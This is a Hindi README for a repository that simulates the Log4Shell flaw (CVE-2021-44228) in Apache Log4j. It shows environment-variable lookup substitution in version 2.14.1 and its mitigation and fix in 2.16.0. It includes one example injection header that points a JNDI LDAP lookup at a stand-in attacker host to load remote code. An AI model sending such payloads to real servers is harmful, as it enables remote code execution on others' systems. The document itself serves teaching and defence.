
कुख्यात CVE-2021-44228 समस्या का एक सरल सिमुलेशन।
यह रिपॉज़िटरी कुख्यात CVE-2021-44228 समस्या का एक सरलीकृत सिमुलेशन प्रस्तुत करती है।
सिस्टम प्रॉपर्टीज़ और अन्य डिक्शनरी संरचनाओं की लुकअप के अलावा, Apache Log4j विभिन्न कारणों से JNDI लुकअप सुविधा भी लागू करता है। JNDI विभिन्न सेवा प्रदाताओं से सेवाएँ प्राप्त कर सकता है, जैसे LDAP, DNS, Java RMI रजिस्ट्री, आदि। JNDI स्वयं एक सरल और असुरक्षित API है जो किसी तृतीय पक्ष द्वारा नियंत्रित सेवा प्रदाताओं से सुरक्षा प्रदान नहीं करता है। जब तक हमलावर दुर्भावनापूर्ण URL के माध्यम से सार्वजनिक रूप से सुलभ सर्वर को नियंत्रित करता है और यह जानता है कि किसी विशिष्ट पोर्ट पर सुनने वाले एप्लिकेशन द्वारा क्या लॉग किया जा रहा है, वे लॉग प्रारूप का दुरुपयोग करके JNDI इंजेक्शन के माध्यम से एप्लिकेशन को मनमाना Java कोड लोड और निष्पादित करने के लिए प्रेरित कर सकते हैं। इसे सामान्यतः लॉग किए जाने वाले अनुरोध हेडर के माध्यम से सादे पाठ या अस्पष्ट (obfuscated) रूप में पास किया जा सकता है।
user-agent: ${jndi:ldap://evilserver.com/payload}
Apache Log4j, 13 दिसंबर को 2.16.0 संस्करण आने से पहले रिमोट कोड एक्ज़ीक्यूशन भेद्यता के प्रति संवेदनशील था, और लेखकों की त्वरित प्रतिक्रिया के लिए मैं उनका पूरा सम्मान करता हूँ।
संसाधन:
सिमुलेशन LDAP सर्वर के बजाय पर्यावरण चर (environment variables) का उपयोग कर रहा है, साथ ही लॉग प्रारूप Property substitution का समर्थन करता है। सिद्धांत अलग नहीं है।
Java 11 और Maven आवश्यक हैं, फिर भी Maven Wrapper भी रिपॉज़िटरी में शामिल है।
GitHub रिपॉज़िटरी एक रिपॉज़िटरी सीक्रेट PASSWORD परिभाषित करती है, जिसे वर्कफ़्लो .github/workflow/ci.yml फ़ाइल में एक पर्यावरण चर के रूप में सेट किया जाता है ताकि सीक्रेट किसी एक्शन के लिए उपलब्ध हो सके।
समस्या को स्थानीय रूप से दोहराने के लिए सामान्यतः उपयोग किए जाने वाले JAVA_HOME पर्यावरण चर का उपयोग किया जा सकता है।
वर्कफ़्लो दो एप्लिकेशनों को अलग-अलग Apache Log4j संस्करणों 2.14.1 और 2.16.0 के साथ बनाता और निष्पादित करता है, और यहाँ GitHub Actions पर एक नमूना निष्पादन है: Java CI #7।
यह संस्करण हमले के प्रति संवेदनशील है। इसे दोहराने के लिए इन चरणों का पालन करें:
mvn clean install -f log4j-2.14.1
java -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'
पर्यावरण चर लॉग में दिखाई देता है:
args[0] = C:\Program Files\Java\jdk-11.0.11
यहाँ GitHub action का एक स्क्रीनशॉट है, केवल इस स्थिति के लिए कि वास्तविक रन स्वचालित रूप से हटा दिया जाए:

ध्यान दें कि जब आप सीक्रेट को लॉग में प्रिंट करने का प्रयास करते हैं, तो GitHub स्वचालित रूप से उन्हें संपादित (redact) कर देता है और मान मास्क होकर *** के रूप में प्रदर्शित होते हैं। हालाँकि, प्रॉपर्टी प्रतिस्थापित हो गई थी।
एक अस्थायी और आंशिक समाधान (workaround) के रूप में -Dlog4j2.formatMsgNoLookups=True JVM पैरामीटर जोड़ने का निर्देश दिया गया है, इसलिए एप्लिकेशन के सभी नोड्स को पुनः आरंभ करना आवश्यक है।
mvn clean install -f log4j-2.14.1
java "-Dlog4j2.formatMsgNoLookups=True" -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'
कोई प्रॉपर्टी प्रतिस्थापन नहीं होता है:
args[0] = ${env:JAVA_HOME:-}
फिर से, यहाँ GitHub Actions का एक स्क्रीनशॉट है:

यह समस्या Log4j सुरक्षा टीम द्वारा Log4j 2.12.2 (Java 7) और Log4j 2.16.0 (Java 8) में ठीक कर दी गई थी।
mvn clean install -f log4j-2.16.0
java -jar .\log4j-2.16.0\target\log4j-2.16.0.jar '${env:JAVA_HOME:-}'
कोई प्रॉपर्टी प्रतिस्थापन नहीं होता है:
args[0] = ${env:JAVA_HOME:-}
फिर से, यहाँ GitHub Actions का एक स्क्रीनशॉट है:
